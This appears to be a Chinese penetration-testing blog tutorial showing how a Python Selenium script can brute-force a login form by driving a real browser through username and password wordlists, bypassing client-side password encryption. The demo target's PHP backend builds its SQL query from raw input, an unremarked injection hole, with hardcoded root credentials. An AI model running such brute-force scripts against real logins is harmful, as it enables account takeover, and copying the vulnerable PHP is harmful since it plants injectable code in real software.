基于Seleinum的口令爆破应用

@序

    渗透过程经常遇到登录界面的密码是加密处理的,有时加密算法为md5,有时候为目标系统自定义的算法,但基于已知算法的爆破还是比较成熟的, 常规的base64和md5都可以通过Burp完成爆破,能够在js看到算法的可以通过自定义脚本来完成。
    但如果是未知加密算法,例如每次登录请求都有随机码作为盐值去加密校验密码是否正确,我们该如何Bypass,本篇主要讲解基于Seleinum的 python 脚本实现自动登录,完成暴力破解。

代码Demo

    本次代码模拟中,并没有针对加密算法单独去写js以及后台加密,主要体现这种自动化思路,他之所以可以绕过加密是因为模拟的就是正常用户的输入流程,加密校验是目标系统接收输入后的逻辑流。

前台代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<html>
<title>sm0nk's Login Page</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
.something-semantic {
display: table;
width: 100%;
}
.something-else-semantic {
display: table-cell;
text-align: center;
vertical-align: middle;
}
</style>
<body>
<div style="height:100%">
<div class="something-semantic" style="height:100%">
<div class="something-else-semantic">
<form action="loginBack.php" method="POST">
用户名:<input type="text" id="input1" name="username"></br></br>
密&nbsp;&nbsp;&nbsp;码:<input type="password" id="input2" name="password"></br></br>
<input type="submit" id="but" name="button" value="登陆">
</form>
</div>
</div>
</div>
</body>
</html>

后台代码
数据库:存在test数据库,有一张admin 表,字段为name,pass 值为test,123456 (仅DEMO演示)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
session_start();
$username = trim($_POST['username']);
$password = trim($_POST['password']);
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
$sql = "select * from admin where name = '$username' and pass = '$password'";
$result=mysql_db_query("test",$sql,$conn);
$rows = mysql_fetch_assoc($result);
if($rows){
$SESSION['is_login']=$rows['username'];
echo '#Login_success#';
}else{
$is_login='';
echo '###Login_faild###';
}
?>

登录界面

爆破脚本

python seleinum 脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#coding=utf-8
import time
from selenium import webdriver
def cusLogin(u,p):
browser.get('http://localhost/LoginDemo/logindemo.html')
browser.implicitly_wait(10)
elem=browser.find_element_by_id("input1")
elem.send_keys(u)
elem=browser.find_element_by_id("input2")
elem.send_keys(p)
elem=browser.find_element_by_id("but")
#print browser.current_window_handle
elem.click()
time.sleep(1)
if 'success' in browser.page_source:
print '###',u,p,'###','Login Success'
else:
print 'LoginFaild'
browser = webdriver.Chrome()
def main():
with open('pass.txt','r') as fP:
for pass1 in fP.readlines():
p = pass1.strip()
with open('user.txt','r') as fU:
for user1 in fU.readlines():
u = user1.strip()
print u,p,'test...'
cusLogin(u,p)
browser.quit()
if __name__ == '__main__':
main()

最终效果图